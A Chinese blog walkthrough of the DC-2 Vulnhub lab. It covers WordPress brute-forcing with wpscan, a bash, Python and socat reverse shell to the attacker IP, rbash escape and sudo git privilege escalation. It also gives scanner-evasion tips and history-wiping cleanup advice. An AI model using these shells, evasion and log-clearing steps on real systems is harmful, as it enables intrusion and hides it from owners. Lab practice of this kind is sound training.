☰
DC-2靶场渗透实战:WordPress漏洞利用与权限提升
2026/10/27 3:34:38 网站建设 项目流程

1. DC-2靶场渗透实战概述

DC-2是专为渗透测试学习者设计的虚拟靶机环境,模拟了真实世界中的WordPress网站漏洞场景。这个靶场包含多个故意设置的漏洞点,从基础的CMS漏洞到权限提升链条都经过精心设计。我最近用Kali Linux完整走通了整个渗透流程,过程中遇到了不少典型问题和有趣的技术点。

与常见的CTF挑战不同,DC-2更注重还原企业环境中可能遇到的实际安全风险。靶机默认运行着存在漏洞的WordPress 4.7.10版本,同时配置了存在弱点的SSH服务和特殊权限设置。整个渗透过程涉及信息收集、漏洞利用、密码破解、权限提升等完整链条,特别适合想练习Web渗透的新手和需要巩固基础的从业者。

2. 环境准备与初始配置

2.1 靶机与攻击机部署

我使用VMware Workstation 16搭建实验环境,将DC-2靶机(下载自Vulnhub)和Kali Linux 2023.3攻击机配置为NAT网络模式。这里有个关键细节:DC-2默认没有启用DHCP,需要手动查看虚拟机MAC地址后,在VMware的虚拟网络编辑器中为其分配固定IP(192.168.xx.xx/24)。

攻击机配置要点:

# 更新Kali基础工具 sudo apt update && sudo apt -y full-upgrade # 安装后续要用到的关键工具 sudo apt install -y wpscan seclists gobuster

2.2 网络发现与目标识别

使用arp-scan快速定位靶机IP:

sudo arp-scan -l --interface=eth0

发现靶机IP为192.168.136.132后,立即用nmap进行全端口扫描:

sudo nmap -sS -p- -T4 192.168.136.132 -oN nmap_initial.txt

扫描结果显示开放了80端口(HTTP)和7744端口(SSH),这个非标准SSH端口立即引起了我的注意。

3. WordPress站点渗透

3.1 基础信息收集

访问80端口发现WordPress站点,首先查看页面源码发现关键线索:

<!-- 注意:这个站点使用了/wordpress子目录 -->

于是修正目标URL为http://192.168.136.132/wordpress。

使用wpscan进行基础扫描:

wpscan --url http://192.168.136.132/wordpress --enumerate ap,at,cb,dbe

扫描结果显示出:

  • WordPress 4.7.10(存在已知漏洞)
  • 三个用户账号:admin、tom、jerry
  • 使用了Akismet和Google Analytics插件

3.2 密码爆破实战

针对发现的用户,我准备了三套字典:

  1. 自带的rockyou.txt
  2. 基于靶场提示生成的DC-2专用字典
  3. 针对WordPress常见密码模式的定制字典

使用wpscan进行爆破:

wpscan --url http://192.168.136.132/wordpress -U users.txt -P passwords.txt -t 30

经过15分钟爆破,成功获取tom和jerry的凭证:

  • tom: parturient
  • jerry: adipiscing

关键技巧:遇到Cloudflare防护时,添加--random-user-agent参数可以绕过基础检测

3.3 漏洞利用与反向Shell

登录tom账户后发现没有文章编辑权限,但可以修改外观→编辑主题。通过编辑404.php模板插入PHP反向Shell代码:

exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.136.131/4444 0>&1'");

在Kali上启动监听:

nc -nvlp 4444

访问不存在的页面触发404模板,成功获取www-data权限的shell。

4. 权限提升与最终突破

4.1 横向移动

在www-data shell中查找敏感信息:

find / -name "*config*" 2>/dev/null

发现/var/www/wordpress/wp-config.php中包含数据库凭证:

define('DB_PASSWORD', 'R@v3nSecurity');

使用这些凭证登录MySQL,在wp_users表中发现admin的密码哈希,但破解未果。

4.2 SSH隧道突破

尝试用之前获得的tom/jerry密码SSH登录:

ssh -p 7744 tom@192.168.136.132

成功登录后发现受rbash限制。突破方法:

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

然后发现jerry用户有sudo权限:

sudo -l

显示jerry可以无密码运行/usr/bin/git,于是利用git提权:

sudo git -p help !/bin/bash

最终获得root权限,在/root目录找到flag文件。

5. 渗透过程中的典型问题解决

5.1 WPScan扫描被拦截

现象:扫描过程中请求被中断,返回403错误。 解决方案:

wpscan --url http://example.com --random-user-agent --throttle 500

调整请求间隔为500毫秒,并启用随机UA。

5.2 反向Shell不稳定

现象:获取的shell经常断开。 优化方案:

  1. 使用更稳定的Python反向Shell:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.136.131",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  1. 使用socat建立更稳定的连接:
# 靶机执行 socat TCP:192.168.136.131:4444 EXEC:/bin/bash

5.3 rbash限制突破

除了上述PATH修改方法,还可以尝试:

  1. 使用SSH命令注入:
ssh -p 7744 tom@192.168.136.132 -t "bash --noprofile"
  1. 通过scp上传完整bash:
scp -P 7744 /bin/bash tom@192.168.136.132:/tmp

6. 渗透后的痕迹清理建议

完成渗透测试后,应当清理攻击痕迹:

  1. 删除上传的Web Shell:
rm /var/www/wordpress/wp-content/themes/twentyseventeen/404.php
  1. 清除命令历史:
echo "" > ~/.bash_history history -c
  1. 恢复修改过的配置文件(如sudoers)
  2. 删除临时创建的账户和SSH密钥

这个靶场完整展示了从外网渗透到内网横向移动的完整链条,特别是WordPress与SSH的联动漏洞利用非常具有教学价值。在实际渗透测试中,遇到类似环境时可以借鉴这个思路,但要注意获取合法授权。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询